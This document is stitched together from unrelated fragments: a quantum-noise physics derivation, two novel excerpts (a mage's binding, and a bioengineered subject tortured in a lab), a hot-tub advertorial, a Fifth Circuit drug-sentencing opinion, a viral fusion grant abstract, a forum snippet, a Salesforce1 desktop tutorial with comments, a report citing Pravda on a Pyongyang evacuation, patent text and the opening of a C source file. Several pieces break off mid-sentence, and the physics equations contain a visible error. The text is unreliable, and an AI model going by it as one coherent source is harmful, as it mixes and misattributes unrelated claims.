\left[\hat{a}^{lm}_1(\Omega),\,\hat{a}^{\dagger l'm'}_1(\Omega')\right]&=\left[\hat{a}^{lm}_2(\Omega),\,\hat{a}^{\dagger l'm'}_2(\Omega')\right]\\%\nonumber\\
&=2\pi\delta_{ll'}\delta_{mm'}\delta(\Omega-\Omega'),\\%\label{com2}\\
\left[\hat{a}^{lm}_1(\Omega),\,\hat{a}^{l'm'}_2(\Omega')\right]&=0%\label{com3}
\end{aligned}\label{com}$$ are satisfied.
Quantum noise: translation
--------------------------
Here, in order to clarify the analogy between the quantum noise in the measurement of the translational motion of a mirror and the angular motion of a mirror, the quantum noise in the measurement of the translational motion of a mirror is summarized. The contents summarized here were originally developed by Kimble [*et al.*]{} [@Kimble2002] and we summarize these similarly to Miao [@Miao2010]. Let us consider a model in which the laser light reflected by the mirror is detected at a fixed point in order to determine the position of the mirror. The laser light incident to the mirror is described by the fundamental HG mode. The incident field of the laser light can be expressed as $$\hat{E}_{\mathrm{in}}(t)=(A+\hat{a}^{00}_1(t))\cos\omega_0t+\hat{a}_2^{00}(t)\sin\omega_0t.$$ where $A=\sqrt{2I_0/\hbar\omega_0}$ and $I_0$ is the average power of the light. Here, we omitted the factor $\sqrt{4\pi\hbar\omega_0/c}\,u_{00}$ to ignore spatial dependence of the electric field of the light for simplicity. Since the position of the mirror $\Delta \hat{z}_\mathrm{mir}$ can be expressed as $$\Delta\hat{z}_\mathrm{mir}(\Omega)=\Delta \hat{z}_\mathrm{ex}-\frac{2\hbar\omega_0A}{cm\Omega^2}\hat{a}^{00}_1(\Omega)$$ including the effect of radiation pressure fluctuation of the incident light, the reflected field can be written as $$\begin{aligned}
\hat{E}_{\mathrm{out}}(t)&=(A+\hat{b}^{00}_1(t))\cos\omega_0t+\hat{b}_2^{00}(z,t)\sin\omega_0t,\\
\hat{b}^{00}_1(\Omega)&=\hat{a}^{00}_1(\Omega),\label{pdr1}\\
\hat{b}^{00}_2(\Omega)&=(-\kappa_0\hat{a}^{00}_1(\Omega)+\hat{a}^{00}_2(\Omega))%\nonumber\\
+\sqrt{2\kappa_0}\frac{\Delta \hat{z}_\mathrm{ex}(\Omega)}{z_\mathrm{SQL}}.\label{pdr2}\end{aligned}$$ Here $m$ is mass of the mirror, $\kappa_0=8I_0\omega_0/mc^2\Omega^2$, $z_\mathrm{SQL}=\sqrt{2\hbar/m\Omega^2},$ $\hat{b}^{00}_j(\Omega)$ is the Fourier transform of $\hat{b}^{00}_j(t)\,\,(j=1,2)$, and $\Delta \hat{z}_\mathrm{ex}$ is the displacement caused by an external force. Then we consider that homodyne detection is conducted for $\hat{b}^{00}_1(\Omega)$ and $\hat{b}^{00}_2(\Omega)$, i.e. the measured value is a linear combination of the two: $$\hat{b}^{00}_\eta(\Omega)\equiv\hat{b}^{00}_1(\Omega)\cos\eta+\hat{b}^{00}_1(\Omega)\sin\eta,$$ where $\eta$ is called the homodyne angle. Homodyne detection is realized by measuring the power of light which is superposition of the quantum field to be measured and local oscillator field with phase difference between these fields controlled at certain value. This phase difference is the homodyne angle. From Eq. (\[com\]), the one-sided spectral density of $\hat{a}^{lm}_j(t)$ can be expressed as: $$S^{lm}_{jk}(\Omega)=\delta_{jk}\qquad(j,k=1,2), \label{spectrum}$$ and hence the noise spectral density when $\Delta \hat{z}_\mathrm{ex}$ is measured with $\hat{b}^{00}_\eta$ is $$S_{z,\eta}(\Omega)=\frac{z^2_\mathrm{SQL}}{2\kappa_0}\left[(-\kappa_0+\cot\eta)^2+1\right].\label{00noise}$$ If $\eta=\pi/2$, the inequality $S_{z,\eta}(\Omega)\ge z_\mathrm{SQL}^2$ holds for arbitrary $\kappa_0$. Note that at the frequency where $\kappa_0=\cot\eta$, radiation pressure noise is cancelled and the SQL, $z_\mathrm{SQL}$, is beaten.
Quantum noise: rotation
=======================
From here, the quantum noise in the measurement of the angular motion of a mirror is discussed. Let us consider measuring the angular motion of a mirror by detecting the transverse shift of the laser beam reflected by the mirror, as shown in Fig. \[refl2\]. This is how an optical lever measures the angular motion of a mirror. For simplicity, it is assumed that the radius of curvature of the beam at the mirror and the radius of curvature of the mirror coincide. First, consider the fluctuation of the transverse displacement and tilt of the incident laser light. In this section we assume the fluctuation is so small that Eqs. (\[tilt\]) and (\[10d\]) can be applied. The incident laser light is assumed to be described by the fundamental HG mode and then the electric field of the incident light is written as $$\begin{aligned}
\hat{E}_{\mathrm{in}}(x,y,z,t)&=\sqrt{\frac{4\pi\hbar\omega_0}{c}}\left[u_{00}A\cos\phi_{00}\right.\\
&\left.+u_{10}\hat{a}^{10}_1(z,t)\cos\phi_{10}+u_{10}\hat{a}_2^{10}(z,t)\sin\phi_{10}\right].\nonumber\end{aligned}$$ Here we omitted the higher order HG modes other than 00 and 10 modes because only these modes are relevant to the transverse displacement and tilt of the laser light in the $x$-axis direction. If we decompose $\hat{E}_{\mathrm{in}}$ in the same way as Eq. (\[decom\]) again, $$\begin{aligned}
\hat{E}_{\mathrm{in}}^{(-)}(x,y,z,t)&=\sqrt{\frac{\pi\hbar\omega_0}{c}}\left\{U_{00}(x,y,z,t)A\right.\\
&+U_{10}(x,y,z,t)\left[\hat{a}^{10}_1(z,t)-\mathrm{i}\hat{a}^{10}_2(z,t)\right]\}\nonumber.\end{aligned}$$ In order to know the fluctuation at |
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] | vised to mind your manners. If you think binding is the worst thing that can happen to you, trust me when I say you're incorrect."
" _Trust_ you?" Barl laughed. "Oh, certainly. That would be my first impulse."
Anger didn't diminish the councillor's beauty. "You consider yourself hard done by?"
"Trust _me,_ Lady Martain. So would you, if our positions were reversed."
Venette Martain snorted. "If you're going to talk nonsense, Mage Lindin, I can't see any point continuing this conversation."
She hadn't yet seen the point of starting it. But she felt certain there was one. "Nonsense is all that's left to me. The Council's binding took everything else."
"Except your life," said Venette Martain, smiling again. "Remember that."
As though he sat close beside her, she heard Remmie's whisper. _Careful, Barl. Only a fool pokes a hornet's nest with his finger._ And since that was quite true, she made an effort to smooth her expression into a more pleasing meekness.
"Tell me," said Venette Martain, halting at the chamber's far wall and swinging round. "How do you come to know Morgan Danfey?"
"Know him?" She blinked. "I don't."
"You must."
"No, I don't," she insisted. "And before you ask, no. I have no idea why he saved me. Do you?"
With an impatient flutter of her fingers, the councillor began wandering again. "Morgan is subject to fits of sentimentality."
"You can't expect me to regret that."
"I expect you to fall face-down before him and weep with gratitude that he saved your life!"
Oh. Breathing carefully, Barl looked at Venette Martain. She was quite a few years older than Morgan Danfey, but that didn't mean they couldn't be... involved. So if the councillor had come here to protect what she saw as hers, then—
"Don't be vulgar!" Venette Martain snapped. "I am many years happily wed, and Morgan is about to make an excellent match that _I_ have promoted. Don't think to interfere with it, girl. My voice carries weight on the Council. If I decide I want you locked in a deep, distant cellar, far from Elvado or any other decent-sized town, you will be." Coming close, she dropped to one knee and leaned forward. "And if I decide you shouldn't breathe unbound air ever again, _you won't_."
Barl believed her. Heart thudding, she shook her head. "I have no interest in Morgan Danfey."
"Good," said Venette Martain, and stood. Her smile was keener than a Vharne swordsman's blade. "It would be most unfortunate if that changed."
The woman scared her. Resenting that, she folded her arms. "Lady Martain, I have a brother."
"Do you?" Venette Martain fiddled with her bracelet. "Then he has my sympathies."
"I need to let him know where I am. I need to—"
"Take it up with Morgan," Venette Martain said, impatient. "It's none of my concern."
Was she truly this heartless? Or was she playing some kind of game? "If I do, will he listen? Will he—"
Hand raised, Venette Martain frowned at her, quelling. "I expect so. As I said, he's sentimental. Now hold your tongue. You'll shortly be leaving for the Danfey estate. Don't think I won't be kept apprised of your conduct there. Don't think Sallis Arkley isn't itching for an excuse to make a bloodthirsty example of you. Behave yourself, Mage Lindin, and it might be you can escape this regrettable affair unscathed." Another edged smile. "Well. Almost."
As the chamber's heavy door banged shut behind her visitor, Barl pulled her knees tight to her chest and let her aching head drop. The binding incant crawled and burned beneath her skin.
_Oh, Remmie. Remmie. What do I do now?_
Eventually the stone chamber's door opened again, and the sentinel mages escorted her along a maze of glimlit stone corridors and up short flights of stone stairs until, at last, they reached a stout, iron-bound door.
Standing on the other side of it, in a quiet, walled courtyard, Barl saw shimmering in the distance the topmost sunlit spires of Elvado's Hall of Knowledge. So, she'd been spirited away from the town's bustling centre. The Council was making sure there'd be no inconvenient witnesses to her banishment.
"Come along," her male guard said, touching her arm. "There's a carriage waiting."
"Why a carriage? Why not just—"
"Bound mages can't use travel incants," the woman said. "Now come."
Both mages turned for the warded door in the wall. Experimenting, Barl stood her ground.
"I don't want to go."
The male mage turned back to glare at her with slitted grey eyes. "The Council's not interested in what you want," he said, and snapped his fingers. " _Come_."
The binding incant leapt to blazing life beneath her skin. Blinking away tears of pain, Barl tried to resist its implacable compulsion to obey... but it hurt too much. Welts were blossoming beneath her crumpled linen tunic, she could feel the hot bite of them like the strike of a poisoned lash.
"Don't be a fool, Mage Lindin," said the woman. She was young, not much older than her prisoner. If she felt any sympathy, she kept it hidden. "You're only going to make matters worse."
"How?" Barl demanded, stumbling forward. "And how can you _support_ this? The Council's as good as _torturing_ me. Is this what Dorana's come to? Are we no better than Ranoush?"
"It's not our place to question the Council of Mages," the woman said. "Be quiet, Mage Lindin, and do as you're told."
Forced to obedience, Barl followed the mages out of the courtyard. After a few dragging steps the binding's punishment stopped. The welts faded. Trembling, she climbed into the carriage halted in the narrow laneway beyond the courtyard's door. Her guards climbed in after her, and sat in grim silence facing her as the carriage's driver stirred up the horses.
Neither of them said a word, to her or each other, as the carriage carried them through the outskirts of Elvado then into the surrounding countryside. Its windows were shuttered. A little glimfire leavened the gloom, and a whisper of fresh air seeped in through a small painted grille near the low roof. But the close confinement and steady side-to-side swaying churned her empty belly to miserable nausea.
The least they could've done was give her a few mouthfuls of breakfast. But no, it seemed that as a Council-bound mage, she was to be treated only a little less harshly than if she'd been a sheep-worrying cur.
At long last the carriage slowed and turned, then continued slowly along what sounded like a gravel driveway. The driver's deep voice sounded above them in a soothing _Whoa_ and the carriage slowed further until it rolled to a stop.
"Out," said the mage with grey eyes, his voice clipped with dislike of her. "Quickly. We've wasted enough time on you."
She opened the carriage door and clambered to the gravelled ground, clinging to the handle because there was nobody to let the folding step down and she didn't want to fall.
"Barl Lindin."
Turning, she saw a neatly dressed man some twenty years her senior, with close-cropped hair and measuring eyes. Dressed in plain but immaculate black, hands relaxed by his sides, oddly he reminded her of Remmie. They shared an air of calm authority, a teacherly confidence that they were completely in charge of the situation.
"Where's Councillor Danfey?" her female guard demanded, leaning out of the open carriage door. "This woman isn't to be left here like a parcel. She's dangerous."
The man's brow creased in the faintest of frowns. "Councillor Danfey is otherwise occupied."
"We've strict instructions. Mage Lindin is to be delivered to the councillor. No-one else."
"I am Rumm, Lord Danfey's master servant," the man said, still frowning. "During her time on the Danfey estate, Mage Lindin will be answerable to me. As for her being a threat, do you tell me Councillor Danfey's binding has been removed?"
Taken aback, the mage shook her head. "No. Of course not. But—"
"Then I expect the only danger |
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] |
"I can tell by looking that something's wrong." She stepped a little closer, and the faint whisper of putrefaction reached her. "Take that shirt off, right now."
He stilled. From Vost's careful lack of response, she knew she was on the right track. Before she saw, she knew. The bandages beneath his tattered uniform were filthy and obviously hadn't been changed in a while. She steeled herself for the worst, but it was horrific when she peeled them away from his infected wounds. Red rays fanned out over his gaunt chest, and the burns themselves were yellow and seeping pus. The smell nearly knocked her down.
"Are you insane?" she demanded. "You're our only way out, and you let yourself get this bad?"
"There wasn't enough antibiotic to treat me fully. Oddly, the minuscule amounts worked just fine for you. Maybe we should talk about _that_."
Before she could reply, the monitor in the control room flickered, likely activated by motion sensors. When the picture resolved, it showed Jael outside the blast doors, alone, and covered in blood.
• • •
**MONSTERS** took JL489 back to the labs.
Scientists in white coats strapped him back into the suspension rig that made it easier to get at him from all sides and prevented pressure sores from forming. It was hell on his joints, but they didn't care if he was in pain. Even his reaction to prolonged unpleasant stimuli could be useful, all data for the file, and some kernel of information might help them to perfect the technological fluke that led to his creation.
"Subject 489, can you hear me?" He'd recognize Landau's voice anywhere.
He managed a jerky nod because Dr. Landau liked his scalpels. He'd once peeled off JL489's face because he spat on an assistant. The skin took three full days to grow back. Nausea swelled and bile rose in his throat, but if he spewed, he'd only get it all over himself, and there was no telling how long it would take for them to hose him down. Somehow, he sucked in the sickness and waited. He'd watched them haul four more corpses out of the lab yesterday.
_We're meat to them, nothing more._
"Good. You've been chosen to participate in a special program, 489. I expect full cooperation."
With arms chained and legs shackled, it wasn't like he had a choice. He didn't make a sound, just hung quiescent. While they'd checked to be sure he could _produce_ language, they weren't interested in his words. Compliance was enough. Being malleable would be better, but he couldn't seem to check out as so many other subjects had. Their eyes showed that pain had long since won—that they were broken.
His silence didn't please the scientist. He wanted the same dead blankness he got from the others. JL489 had only hate.
Landau's eyes narrowed. "You have no will of your own, you're a thing. I _made_ you."
He dropped his eyes, and the scientist left his field of vision and pressed the call button. "Send her in, please."
The woman who entered had black hair and bronze skin. The lab lights caught her from behind, filling her dark hair with blue lights. Her skin was spotted, too, in a way he hadn't seen before, tiny darker dots all over her cheeks and shoulders. Wide brown eyes studied him from across the room; like the others, she wore a lab coat, but he hadn't seen her before.
"This is inhumane," the woman said to Landau. Her voice held a snappish edge that he'd never heard directed at another person.
_Only test subjects. Only_ things _. Like me._
Her apparent anger on his behalf eased the tightness in his chest though pain had become so familiar by now that he couldn't imagine existing without it. Then she moved toward him, and he smelled something other than astringent bitterness. A sweetness came from her skin and hair that tightened him from head to toe with a pleasure he hadn't known before. He breathed in deep, then deeper, and it was like he had some of her goodness inside of him.
The world become utterly inexplicable when she said gently, "I'm getting you out of there. Can you stand up? Can you walk?"
He had no idea. It had been a long time since they let him move around. In the early days, when he first came out of the tank, workers would take him to a small room and show him things, say words, let him watch moving pictures, and one scientist had taught him to read to see if he could learn. But they soon lost interest in his mental capacity, as he was supposed to be fashioned into a thing that followed orders unquestioningly. So he went back into the restraints while they tried to figure out why he was so intractable and why he was still alive when so many of his pod mates crashed out.
Yet he gave a tiny nod. Because to follow her, he'd crawl.
"I'm Dr. Indra Parvati. Do you understand?"
Another tilt of his head.
His gut told him she was different than the rest though he wasn't sure why she was here or why Landau was letting this happen. Smiling, she turned off the suspension system, and he thumped to the floor. It took a few minutes for the feeling to return to his arms and legs; she waited patiently until he stumbled to his feet.
"I'm from the Sapient Rights Coalition. We're investigating Sci-Corp for possible ethical violations and to determine your status."
"My what?" His voice sounded strange to his own ears, hoarse and choked.
"There's a proposal on the docket, exploring the rights of bioengineered individuals." She didn't say creature or monster, he noticed.
_Definitely different._
"I don't understand."
"They're considering your people for citizenship. That would give you full human rights though you'd have to check 'other' on certain government forms." She smiled at him, and his heart did something strange, beating extra hard for a few seconds.
"Oh."
In all honesty, he still didn't entirely understand what she was saying, but Dr. Landau was furious. JL489 smelled the rage all over him.
He quivered a little as Dr. Parvati put a hand on his arm. "Let's find a quiet place to talk."
"Aren't you afraid of me?" he whispered.
She shook her head and led the way toward the main exit. The scientists _let him go_. When he stepped out of the lab and into the unfamiliar hallway, he had no context for what might happen next.
"You must be hungry. I can tell they've been feeding you intravenously for some time."
Her kindness hurt in ways he hadn't felt before, a blooming tenderness that filled him with a different kind of fear. She took him to a room with a table, then she pressed a button to order food. When it arrived, he drooled at the rich, complex smells wafting from the covered dishes.
"Now then," she said, smiling. "Don't be afraid to tell me everything, JL."
_JL. Jael._ It was the closest he'd ever come to a name. It felt right, even if it sprang from the loathsome Dr. Landau. She lifted the first lid to reveal—
Then she was gone, leaving him to monsters and darkness.
And pain.
# 11
The Knife of Failure
Dred raced for the front doors. Vost must have fixed his bandages and clothing, then followed because he was at the control panel not long after. He powered down the force field and opened the blast doors, then Jael stumbled inside. The smell struck her first, totally wrong, _not_ Jael, and it overpowered even the reek from the merc's wounds.
But first she needed to close off retreat options, if it turned out she was right. "Lock us down. Quickly."
He complied, likely because he suspected there might be enemies on Jael's six. She took Vost's arm and pulled him away from the still unsteady Jael. Even if his scent _wasn't_ all wrong, she'd never seen him react this way to being hurt. He was too used to pain.
"Get back," she said.
Vost glanced at her, a frown furrowing his brow. "He needs medical attention. We can bandage him up at least."
"Do you smell the blood on him?" she asked.
The merc tilted his head as Keelah came a few paces closer, her nose twitching. "She's right. There's no scent of injury. And he smells completely off. More like—"
"Hex," Dred finished.
The illusion flickered and went off, revealing the alien. Her bad feeling intensified. If this thing had tried to trick them, there couldn't be an innocent reason. _It didn't want us to know Jael was missing, at least not right away._ That probably meant that its mandate was infiltration.
_It was supposed to make us think Hex was dead, Jael was safe, then turn off our security so Sil |
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281
] | using it. Is this a tub for you and your spouse, or is it something you plan to use with the whole family? Consider how you plan to use the tub. Do you want an all-around product for soaking, basic exercises, and hydro-massage, or would you prefer something targeted, like a swim spa? Keep in mind that lots of jets and high horsepower pumps don’t make for a good hydro-massage experience, and average-sized hot tubs are plenty big for basic exercise and yoga. Take advantage of your dealer’s expertise to find the best combination for you.
Once you have a general idea about the size and type of hot tub you want, it’s time to consider space and access. Already have a spot picked out? Great! Just check for delivery access. Quality hot tubs are big and heavy and you’ll need a relatively barrier free path from your front yard to the spot it will sit in your backyard. Hot tubs are normally delivered on their side on a cart with balloon tires. If you have access restrictions, cranes are inexpensive and used all of the time for delivery. Your dealer can help you understand access and will assist in making all of the delivery arrangements for you
Treat your hot tub purchase as an investment in your health and well-being by working with an experienced dealer to invest in the right hot tub for your lifestyle and your budget.(Photo: Courtesy Imagine Backyard Living)
Finding products you can trust
Treat your hot tub purchase as an investment in your health and well-being by working with an experienced dealer to invest in the right hot tub for your lifestyle and your budget.
The best hot tub salespeople bring experience and expertise that will help you sift through a sea of options and sketchy sales tactics. But how do you find a dealer you can trust? Quality hot tub dealers won’t try to distract you with the details of what’s “under the cabinet.” Instead, they’ll carry brands you can trust, and really listen to your preferences and needs. The best dealers will have their own service department with factory-trained and certified technicians.
Look for top brands such as Jacuzzi and Sundance. Because a hot tub is a long term investment, selecting a quality brand and dealer will make your hot tub ownership enjoyable for many years to come. Quality hot tubs provide energy cost information, meet Underwriters Laboratories’ rigorous safety and efficiency standards and when properly cared for, they’ll last you a decade or more. In addition, quality brands will have better insulation, which translates to an efficient performance and a quiet soaking experience.
Your soaking and hydro-therapy experience is the single most important reason to purchase your own hot tub, so it’s essential to invest in quality and pick the right one for you and your lifestyle.(Photo: Courtesy Imagine Backyard Living)
The details
To help your investment run smoothly, it’s also useful to address any logistical concerns while you’re shopping. Make sure you know what maintenance looks like for your specific tub, and that you have the products you’ll need. Unlike years past, most of today’s hot tubs are pretty easy to care for, and the better brands rely on automatic ultraviolet and low output ozone water purification systems and small amounts of chemical oxidizers to keep your water clean, clear and ready for soaking 24-7. Tip: Be aware of salt water systems as they might sound appealing, but they tend to be expensive, corrosive, and hard to maintain properly. The salt system ultimately makes chlorine in your hot tub and most only carry a 1 year warranty. It can cost over $700 to replace a salt cell.
Finally, quality dealers have brick and mortar locations with local ownership. They will have support staff you can meet and will offer quality brands you can trust. They will help you through every step of the way-from selecting the hot tub for you, helping arrange all of the details for a smooth and safe delivery and will be there for you if the need ever arises. As always, check reviews both on the dealer and the product.
To learn more about the hot tub that is right for you, visit Imagine Backyard Living and start enjoying the benefits of hydrotherapy.
Members of the editorial and news staff of the USA Today Network were not involved in the creation of this content. Case: 18-10441 Document: 00514803492 Page: 1 Date Filed: 01/22/2019
IN THE UNITED STATES COURT OF APPEALS
FOR THE FIFTH CIRCUIT
No. 18-10441 United States Court of Appeals
Summary Calendar
Fifth Circuit
FILED
January 22, 2019
Lyle W. Cayce
Clerk
UNITED STATES OF AMERICA,
Plaintiff−Appellee,
versus
LISA YRDANOFF,
Defendant−Appellant.
Appeal from the United States District Court
for the Northern District of Texas
No. 4:17-CR-193-2
Before SMITH, WIENER, and WILLETT, Circuit Judges.
PER CURIAM: *
Lisa Yrdanoff pleaded guilty of conspiracy to possess with intent to dis-
tribute methamphetamine and was sentenced below the advisory guideline
* Pursuant to 5TH CIR. R. 47.5, the court has determined that this opinion should not
be published and is not precedent except under the limited circumstances set forth in 5TH
CIR. R. 47.5.4.
Case: 18-10441 Document: 00514803492 Page: 2 Date Filed: 01/22/2019
No. 18-10441
range to 144 months of imprisonment and a five-year term of supervised
release. On appeal, Yrdanoff contends that her sentence is substantively
unreasonable because the district court essentially should have disregarded
the drug quantities that she admitted to in her post-arrest statements, given
that those statements assisted the government in prosecuting other
defendants; she was a relatively minor player in the conspiracy; and she
personally possessed only a small amount of methamphetamine. Yrdanoff did
not raise this argument in the district court in the context of substantive
reasonableness.
Sentences are reviewed for reasonableness. Gall v. United States,
552 U.S. 38, 51 (2007). We engage in a bifurcated review, United States v.
Delgado-Martinez, 564 F.3d 750, 752 (5th Cir. 2009), first considering whether
the district court committed a “significant procedural error,” Gall, 552 U.S.
at 51. If there is no error or the error is harmless, we review the substantive
reasonableness of the sentence for abuse of discretion. Id.; see also Delgado-
Martinez, 564 F.3d at 751-53.
Notwithstanding the above, plain error review applies where, as here,
the defendant fails to object in the district court. United States v. Mondragon-
Santiago, 564 F.3d 357, 361 (5th Cir. 2009). To prevail, Yrdanoff must show a
forfeited error that is clear or obvious and that affects her substantial rights.
Puckett v. United States, 556 U.S. 129, 135 (2009). If she makes such a show-
ing, we have the discretion to correct the error, but “only if the error seriously
affects the fairness, integrity or public reputation of judicial proceedings.” Id.
(internal quotation marks, brackets, and citations omitted).
The district court clearly heard and considered Yrdanoff’s arguments
regarding her post-arrest statements when imposing sentence, ultimately opt-
ing to depart below the advisory guideline range for substantial assistance but
2
Case: 18-10441 Document: 00514803492 Page: 3 Date Filed: 01/22/2019
No. 18-10441
not depart to the requested sentence of 60 months. Yrdanoff’s argument is
nothing more than a disagreement with the district court’s weighing of the
18 U.S.C. § 3553(a) factors, which is insufficient to demonstrate error, much
less plain error, in the below-guidelines sentence. See Gall, 552 U.S. at 51;
Puckett, 556 U.S. at 135.
AFFIRMED.
3
The long-term goal of the proposed research is to understand the basis for viral fusion protein-induced membrane fusion with atomic-resolution detail. Fusion of viral and target cell membranes is a key step in infection for many viruses important in disease and a detailed understanding of fusion mechanisms will aid development of anti-viral therapeutics whose mode of action is fusion inhibition. Fusion proteins are also a target of viral vaccine development. The proposed research focuses on the gp41 and the hemagglutinin HA2 fusion proteins of the respective human immunodeficiency virus and influenza virus. These proteins are chosen because the viruses cause major human diseases and because the proteins serve as prototypes for other class I viral fusion proteins. There is particular emphasis on the N-terminal fusion peptide (FP) domains of the fusion proteins, which represent ~20-residue apolar regions at the N-termini of the proteins. Numerous biochemical and biophysical studies have shown that the FP plays a key role in fusion and that chemically synthesized peptides with the FP sequence can serve as useful model systems to |
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] | of the time?</p>
<p> </p>
<p> </p>
<a name="more"></a>http://mgoblog.com/mgoboard/run-heavy-offense#commentsMGoBoardManballrun it down their throatswisconsinSun, 15 Oct 2017 14:14:49 +0000BlueMk1690118946 at http://mgoblog.comYes, I was at the Iron Maiden show in Atlanta. My travel that day was a clusterf*ck. 3 hour flight delay. I didn't land in Atlanta until the show had already started. I arrived at the venue 10-15 minutes before Iron Maiden started. I walked right down to the pit area & just hung out there for the few minutes until "Doctor Doctor" started to play.Salesforce1 is currently available in the iTunes Store (requires iOS6+) and Google Play Store (requires Android 4.2+). To speed up development, it is relatively simple to work with the Salesforce1 app directly on your desktop using Google Chrome. Here is how it’s done:
1) Allow Salesforce1 Access on Desktop
When logged into Salesforce, ensure Salesforce1 is set up to run as a mobile browser app. This is done through Administer > Mobile Administration > Salesforce1. If the Enable the Salesforce1 mobile browser app option is not already selected, select it and Save.
Next you will want to make sure that your user is set up to allow accessing Salesforce1. Each user has a Salesforce1 User option. Ensure this is checked.
2) Navigate to App
You should now be able to navigate directly to the Salesforce1 app in your browser. To do that, all you need to do is add /one/one.app to the end of your URL of the domain your Salesforce instance is on. So, in my case, my Developer Edition is located on na15, meaning when I log in my URL looks something like https://na15.salesforce.com/home/home.jsp. To navigate to the Salesforce1 app, change the /home/home.jsp to /one/one.app. When I navigate to https://na15.salesforce.com/one/one.app, I get:
3) Change User Agent and Dimensions
As you can tell from the above picture, this doesn’t look correct. You need to manipulate your browser to make it look like a mobile device. One way to do that is to simply just make your browser much smaller. With the responsive design that Salesforce1 uses, this is a valid option. However, this really isn’t ideal as it doesn’t truly simulate what the app would look like on the mobile device (the user agent is different and the dimensions will change based on your browser size). You can do this by utilizing a great feature of Google Chrome.
The first thing you need to do is open up the Developer Tools. The easiest way to do that is to just right-click anywhere on the page and select Inspect Element
This will open up your Developer Tools at either the bottom of the browser or in a different window (depending on the settings you have set up).
In the bottom right hand corner, you will see a small gear that will open up additional options.
You can then select Overrides.
You can now easily Enable the overrides and then specify a User Agent (which should default to the correct dimensions for that device – With that said, you will probably have to change these because the dimensions on the device are for retina displays which will not view properly on a browser).
Once you have this set, your browser should properly display the application. One thing to remember is that you have to keep the Developer Tools open in order to maintain these settings. If you close the Developer Tools, the browser will revert back to the standard Google Chrome.
Note: If you use Google Chrome Canary (bleeding edge version of Chrome w/ absolute latest features), you would be much better off using the new mobile emulation feature. This feature will eventually replace the above setup as well once it is released as part of the standard Google Chrome build.
So there you have it, Salesforce1 in your browser speeding up development and allowing easy access to your application. Now get out there and build some cool apps!
I would like to understand how I can build a site which my customers can access on any device, e.g. desktop, tablet, mobile. For our company website we are using ‘mobile first’ responsive website design to achieve this. With Salesforce1 it looks like I have to offer one URL for my site, for mobile device users, and a different URL for desktop devices. Is this correct, or is it possible to make a Salesforce1 app work on all devices via responsive techniques such as ‘media queries’ ?
Does SF officially support changing the URL in the browser to one/one.app?
I’ve used it for testing but found it doesn’t work at all in Firefox so I used Chrome. I’ve heard that browser recommended but again don’t know if any are officially supported.
From what I understand the SF1 application itself is basically a wrapper around the one/one.app HTML5 interface to SF. It is written using some tools (like phonegap) to allow SF to get access to some of the phone’s capabilities. When testing via a desk-top browser, would think that this capabilities would not be available. Do you know if/what features are in SF1 app itself but not available when using the one/one.app URL from a browser?
The one/one.app is officially supported through the browser, however it is built with different screen sizes/functionality in mind. It also does things a bit differently than the actual Salesforce1 application. While, from what I understand, Salesforce1 is a wrapper of the one/one.app page, there is functionality that is not available, as you have noted. I don’t have a complete list, but basically anything that requires a camera, contact list, phone functionality, etc all won’t work properly.
As far as it not working on Firefox, I haven’t really tested it there. I have only used Chrome.
Hi, This is what I am getting when I am typing (/one/one.app) in the URL from my computer:
You can’t access Lightning Experience
The page you’re trying to access is available from the Salesforce1 mobile app only. Please try again from a supported mobile device. Need help? Ask your Salesforce admin.
However, a few days back I was able to open the Mobile version (/one/one.app) on my computer browner (that saved a lot of time), but now I cannot open it. Is there something I am missing or may have changed?
Angshumit – yes with the release of Winter 16 in Salesforce the /one/one.app no longer emulates the mobile experience but used for Lighting development. The official release notes say to use a emulator to simulate what SF1 looks like. our mobile device are all ipads or iphones – but our laptops are all Windows – currently there is no “official” emulator for iOS from Apple that works on the Windows machine.
i am new to salesforce to start with. I am an apple user by nature but my desktop is a PC and I can navigate Salesforce on my desktop with no problem. I have it on my apple phone but I can’t do a lot on it. My manager is willing to get me an iPad for convenience for traveling but I want to ensure that I can everything on my iPad that I could on my desktop (i.e. quotes, tasks, notes, create contacts, change selling stages, etc.). Is this true? If so, how difficult is it to download and customize? I’m a remote worker and my organization doesn’t support Apple so I’m just curious.
The /one/one.app url is not leading to the mobile version in the browser instead taking to the lighting version of salesforce. Is there a way to access the mobile on browser ? This would be very helpful to share the mobile screens during demo
Dear Sirs,
I was wondering whether I can download the application to my organisation´s PC and work from there, or while at home, and then go back to my mobile when I’m out.
Should it be possible, where in your webpage may I go to get the applicable directions?
Cheers!
Salvador
Trackbacks/Pingbacks
[…] on mimicking a mobile browser or tips on customizing this further, check out Jesse Altman’s Working with Salesforce1 on the Desktop. For more on Salesforce1, check out our previous post with some useful links, and don’t forget to […]Kim Jong-un orders evacuation of Pyongyang: report
North Korean leader Kim Jong-un ordered 25 percent of Pyongyang residents to leave the city immediately, according to a Russian news outlet on Friday.
The Pravda report said that in accordance with the order, 600,000 people should be urgently evacuated. Experts note that the evacuation will most likely be conducted due to extremely strained tensions in relations with the US.
North Korean leader Kim Jong-un (AP-Yonhap)
Reportedly, Pyongyang's bomb shelters will not be able to accommodate the entire population of the North Korean capital. Therefore, 600,000 people - mostly individuals with criminal records - will |
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] | for supporting the workpiece(s) and an energy source for heating the workpiece(s), such as heating lamps, lasers, or other heat sources. During heat treatment, the workpiece(s) can be heated under controlled conditions to a preset temperature regime. For instance, the workpiece(s) can be heated by an array of lamps through the support plate to temperatures of, for instance, from about 300° C. to about 1,200° C., for times that can be typically less than a few minutes in rapid thermal processing. During heat treatment, a primary goal can be to measure a workpiece temperature as precisely as possible./*
* Copyright 2011-2012 Paddy Byers
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "org_meshpoint_anode_RuntimeNative.h"
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include "defines.h"
#include "node.h"
#define DEBUG
#ifdef DEBUG
# include <android/log.h>
# define DEBUG_TAG "libjninode"
# define LOGV(...) __android_log_print(ANDROID_LOG_VERBOSE, DEBUG_TAG, __VA_ARGS__)
#else
# define LOGV(...)
#endif
static void freeNativeArgs(jint argc, char **argv) {
for(int i = 0; i < argc; i++)
delete[] argv[i + 1];
delete[] argv;
}
static int getNativeArgs(JNIEnv *jniEnv, jobjectArray jargv, char ***pargv) {
LOGV("getNativeArgs: ent\n");
